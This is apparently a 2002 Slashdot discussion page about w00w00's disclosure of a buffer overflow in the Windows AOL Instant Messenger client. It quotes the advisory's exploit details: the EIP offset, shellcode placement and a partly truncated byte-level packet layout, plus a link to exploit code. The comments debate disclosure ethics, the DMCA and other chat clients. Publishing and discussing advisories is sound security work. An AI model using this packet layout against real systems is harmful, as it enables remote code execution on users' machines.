AOL Instant Messenger Remote Hole
The DSL Guy writes: "The non-profit security team w00w00.org started off 2002 by uncovering a serious flaw in AOL's Instant Messenger protocol. With over 100 million people registered on the AIM service, this vulnerability poses a serious security risk for Internet users worldwide. This flaw can enable remote users to execute code on any machine logged into the AOL IM service. "So easy to hack, no wonder it's number one!" Details can be found at the w00w00 site."
We recommend Robbie Saunder's AIM Filter (http://www.ssnbc.com/wiz) to protect yourselves. A temporary solution is to go into your Preferences and in the Privacy section click "Allow Only Users on My Buddy List" under "Who can contact me."
Since we all know the holes won't stop here, anyone who wishes to further investigate problems can start their research here and here.
...only windows machines. get your facts straight.
This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.
AOL Instant Messenger overflow
X X] victim screen name
4 5\ x53\x54\x00\x00]
r =t rue&url=http://www.w00w00.org"]
2 2\ x44\x45\x53
w00w00! http://www.w00w00.org
Author: Matt Conover (shok@dataforce.net)
Contributors: nocarrier, napster, and w00w00 collectively
PRELUDE
Happy w00year! It has been a while, friends, but w00w00 is still going
strong! w00w00 is over three years old now and still boasts the title
of the world's largest non-profit security team. One thing remains
true about the world of w00w00, though: we love to shake things up.
We'd like to take a moment and make an important point. Due to
unfortunate circumstances, the environment of the security industry
has changed for the worse. Most major vendors and security companies
have all switched their policies to limited disclosure, leaving the
end users still vulnerable to serious software flaws. Big corporate
monopolists: 1, end-users cornered into using second-rate software: 0.
Why? Two big reasons: the DMCA and using patriotism as an excuse to
avoid disclosing vulnerabilities.
First, the Digital Millenium Copyright Act affects circumvention of
anti-piracy mechanisms and reverse engineering. If a product is
released in binary form only (i.e., AOL Instant Messenger) to
protect its technologies and one attempts to reverse engineer the
file, it's a violation of the DMCA. Find out more information about
the DMCA at http://www.anti-dcma.org.
Second, Microsoft has "decried" information anarchy. Many major
security companies have followed suit and the rest just bent to the
pressure. However, blaming security research teams, such as w00w00,
for releasing information on vulnerabilities is a cop-out. Whether or
not security research teams release information on vulnerabilities, it
doesn't change the fact that the vendor produced insecure software.
Vulnerabilities are still exploited in the same way they were by the
Internet Worm 13 years ago. Further, one can reasonably assume that a
fair number of hackers are exploiting unpublished vulnerabilities.
By only silently updating products, computer users are unknowingly left
vulnerable.
DESCRIPTION
AOL Instant Messenger (AIM) has a major security vulnerability in the
latest stable (4.7.2480) and beta (4.8.2616) Windows versions. This
vulnerability will allow remote penetration of the victim's system
without any indication as to who performed the attack. There is no
opportunity to refuse the request. This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.
This particular vulnerability results from an overflow in the code
that parses a game request. The actual overflow appears to be in the
parsing of TLV type 0x2711. This may be more generic and exploitable
through other means, but AOL has not released enough information about
their protocol for us to be able to determine that. Robbie Saunder's
email yesterday should be enough of a hint which direction to look in.
We recommend Robbie Saunder's AIM Filter (http://www.ssnbc.com/wiz)
to protect yourselves. A temporary solution is to go into your
Preferences and in the Privacy section click "Allow Only Users on My
Buddy List" under "Who can contact me."
UPDATE: AOL will be fixing this in the server side within a day or two.
IMPLICATIONS
AOL Instant Messenger (http://www.aim.com) has over 100 million users.
The implications of this vulnerability are huge and leave the door wide
open for a worm not unlike those that Microsoft (*cough* corporate
monopoly *cough*) Outlook, IIS, et al. have all had (Melissa, ILOVEYOU,
CodeRed, nimda, etc.). An exploit could easily be amended to download
itself off the web, determine the buddies of the victim, and then
attack them also. Given the general nature of social networks and how
they are structured, we predict that it wouldn't take long for such an
attack to propagate.
To top everything off, the particular overflow described supra is
relatively simple to exploit. The payload can be several thousand bytes
long, which leaves lots of room for creative shellcode. In addition,
the shellcode can have null bytes in it, as long as the shellcode is
located after the offset to EIP in the shellcode. That is, the offset
to EIP is 1723 bytes into TLV type 0x2711. So if the shellcode is
located after offset 1726, null bytes can be left in.
EXPLOIT
The exploit, w00aimexp, is too big (1000+ lines) to include here, but
it can be downloaded at http://www.w00w00.org/files/w00aimexp.tgz. The
files can be viewed online at http://www.w00w00.org/files/w00aimexp/.
This is the exploit packet generated by w00aimexp (without
USE_FULL_SIZE defined):
FLAP header (6 bytes)
[\x2a] '*' (magic number)
[\x02] channel (data)
[\x00\x11] seqnum number
[\x07\x87] packet length (1927 bytes)
SNAC header (10 bytes)
[\x00\x04] SNAC family (message)
[\x00\x06] SNAC type (outgoing message)
[\x00\x00] SNAC flags (none)
[\x00\x00\x00\x09] SNAC ID
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
[\x00\x02] SNAC channel (data)
[\x0c] victim screen name length
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\x
Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.
[\x00\x05] TLV type (0x05)
[\x07\x62] TLV length (1890 bytes)
[\x00\x00] cookie marker
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
Capability used to exploit this libfaim calls it (SAVESTOCKS):
[\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x
[\x00\x0a] TLV type (0x0a)
[\x00\x02] TLV length (2 bytes)
[\x00\x01] TLV data
[\x00\x0f] TLV type (0x0f)
[\x00\x00] TLV length (0)
[\x00\x0e] TLV type (0x0e)
[\x00\x02] TLV length (2 bytes)
["en"] TLV data (language)
[\x00\x0d] TLV type (0x0d)
[\x00\x08] TLV length (8 bytes)
["us-ascii"] TLV data (charset)
[\x00\x0c] TLV type (0x0d)
[\x00\x06] TLV length (6 bytes)
["w00w00"] TLV data (game's name?)
[\x00\x03] TLV type (0x03)
[\x00\x04] TLV length (4 bytes)
[\x40\xa3\x1e\x4f]
[\x00\x05] TLV type (0x05)
[\x00\x02] TLV length (2 byte)
[\x14\x46]
[\x00\x07] TLV type (0x07)
[\x00\x4d] TLV length (77 bytes)
["aim:AddGame?name=w00w00&go1st=true&multiplaye
[\x27\x11] TLV type (0x2711)
[\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
[\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x
\x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]
http://www.w00w00.org/advisories/aim.html is a better link.
Hey, if you guys want open-source IM, check out http://www.jabber.org The server is open-source and it's a distributed XML-based network. Lots of different, cool clients too. JabberIM for Windows, and Gabber for Linux are the most mature ones though. There are bridges to the AIM and ICQ networks available on some servers, but the ones on Jabber.org have been blocked by AOL... nice huh?
The abstract for the article is in error: it reads, "The non-profit security team w00w00.org started off 2002 by uncovering a serious flaw in AOL's Instant Messenger protocol... This flaw can enable remote users to execute code on any machine logged into the AOL IM service.". The flaw isn't in the protocol itself but in the client, and therefore doesn't actually affect "any machine logged into the AOL IM service". It sounds like AOL is going to prevent the sending of exploit packets at the server level to avoid requesting all of their Windows users to upgrade, but those of us using Linux or another OS should be fine regardless.
Love justice; desire mercy.
ALWAYS, if the protocol isn't openly documented and severely tested over a communications line for security it is insecure.
I recommend the majority of people I deal with use jabber (this is not some plug for jabber; it's just at the end of the day, it's more secure and yet accomplishes the same goal AIM etc etc have)
If you are using AIM, do yourself a favor a pickup a jabber client, you won't be sorry.
The problem is in the implementation, not in the protocol. If it were in the protocol, that would make all clients at risk. As it is, only the official Windows client is vulnerable, because it implements game requests without checking for buffer overflow. I really don't understand why people still write code this way -- buffer overflows are so easy to prevent.
Somewhat (but only somewhat) offtopic: why on earth doesn't ./ at leas browse through the links they post? It's not like they don't have the manpower. If they'd even looked at the article, they'd have caught this...
I've recently started using trillian (www.trillian.cc) for all my IMing needs... (yes, it does connect to the AIM server, among others such as MSN messenger, yahoo, and ICQ) I'm assuming it probably doesn't have this flaw, which is obviously a nice feature. And as far as I know, it's the only really solid alternative to a) having a billion separate IM programs b) using hated AOL software.
Once upon a time...
well, here's yet another reason to be using TOC (as opposed to Oscar, the newer of the two AIM protocols.) TOC is/was an open protocol, and i've had very little problem with it. admittedly, it doesn't have all the "features" that Oscar has, but if all you want is chat, and you don't care a whole lot about file transfers, et al. TOC is more than sufficient. plus, unlike Oscar, AOL doesn't seem to arbitrarily change the protocol. And it seems to be more stable, server-side. I've had countless instances of hearing the dispaired cries of "AIM is down" from throughout my dorm without having a problem. TOC goes down occasionally, but not nearly as much, from my experience.
as for clients, i recommend Gaim for Linux. You can select the TOC protocol in the Account Editor window.
<asbestos>yes, i know there's a million things that Oscar can do that TOC can't. but I don't care. TOC just works better from my experience, especially when clients have to release new versions to work around AOL changing the Oscar protocol slightly in order to screw over MS.</asbestos>
#define F(x) int main(){printf(#x,10,#x);}
F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
I hope this get moded as "funny" or "I didn't read the article and I'm simply replying because I hate everything that's not linux". This article shows that AOL intends to fix the problem on the server-side.
rooooar
Eg Europe, where reverse engineering is explicitly legal regardless of any terms and conditions the software vendor may seek to impose.
AIM Filter being the program that, if not a trojan, at least has various remote access abilities.
See the bugtraq archive for more information.
Amusing that its use is recommended in the security advisory.
They did wait, AOL ignored them.
We contacted the AOL Instant Messenger group but never received a
response. Normally we would be inclined to provide a fix, but it is
illegal to reverse engineer the AIM executable (DMCA and AIM's license
agreement to thank), so we are unable to provide a patch which will
modify it. Instead, we recommend Robbie Saunder's AIM Filter
(http://www.ssnbc.com/wiz/) to protect yourselves.
Please get the full story before you post shit.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
Information security tends to take a far back seat within the corporate world. Doesn't matter if it is management, administration, or development - infosec is a secondary thought if its even considered.
Part of this is the specialized knowledge required to handle infosec issues (not that it couldn't be widely aquired). It takes a concious effort to implement a secure system. This is often considered additional effort. And additional cost.
Another part of the puzzle is a general disbelief anyone could discover a vulnerability and would bother to take advantage of it. This discounts the number of technically minded individuals your infrastructure is exposed to on the net (compounded by automating attacks). It also ignores that even trivial applications can cause considerable damage (I have some friends working infosec for large corporations who went in to high gear with this announcement - AIM exists in many environments).
Finally, infosec is rarely a consumer requirement. Functionality is what sells widgets. Unless the widget is touted as being secure (even IF its supposed to be secure), security won't sell as many widgets if the widgets don't blink and beep nicely. Thus infosec isues are not pushed during initial development.
So now it gets bloody. Damage gets done. Consumers begin to see how these strange little issues cause them pain. They begin to demand better, more secure products. Product goals begin to include infosec. Better products get produced.
And those who would take advantage of vulnerabilities... quietly and to personal gain (or even loudly and publically) have fewer and fewer targets.
And its possible more attention will be paid to those who build faulty, and ultimately dangerous, data infrastructures. Maybe even legal liability.
What this product manager did not realize was that, despite w00w00's "white hat" e-mail, w00w00 wasn't on their side or even their users'; w00w00 wanted to embarrass the company.
They sure as hell *did* want to embarrass AOL, and you know why? Because telling people something gets things done! If w00w00 had elected *not* to tell AOL, this bug could have been sitting out there for many months to come, and by the time AOL finally did decide to fix it, it could have reached epic proportions.
Well let's see. The situation went from a few dozen (hundred?) people being able to exploit an obscure hole to hundreds of thousands knowing how in detail.
But most boxen on which AOL is run are on narrowband connections, on the less powerful of the Windows operating systems, and turned off most of the time. Any exploitation (beyond vast compromise, which would likely be picked up by AOL staff) would be for little more than just making trouble.
Think about it: even if deployment of a bug fix hadn't been slated for another month, all w00w00 accomplished was a dramatic increase in AOL's (and AOL users') damage exposure. They did the self-righteous thing.
OK, let's do some rough math right now. Say that yesterday, J. Random Cracker found this m4d AOL exploit. He would prolly relay it to his friends to show how 1337 he was through (most likely) IRC. Assuming that he's on a fairly good-sized IRC channel, 20-50 people learn about the exploit right there. It spreads in much the same way throughout the "hacker" underground, and within hours, hundreds of thousands of l33t h4x0rz all know about the exploit and begin using it on hapless AOL users (few, if any, of whom are running any server daemons). This will go on until:
a) The magnitude of the traffic is large enough to show up on AOL's collective radar,
b) An attacker suddenly gets a pang of conscience and reports the exploit to a security firm, or
c) A computer with sufficiently robust security gets hit (either by the attackers' AOL exploits or attacks launched from the compromised computers), the admin notices, investigates, talks to AOL, gets logs, and reports the exploit to a security firm.
In any case, the collective exposure is a good deal more than what w00w00 has restricted it to (the collective malicious-user traffic to their site and the mass media for a period of one day, if AOL is to be believed). They didn't do the self-righteous thing, they did the honest thing.
Want Linux games? HERE.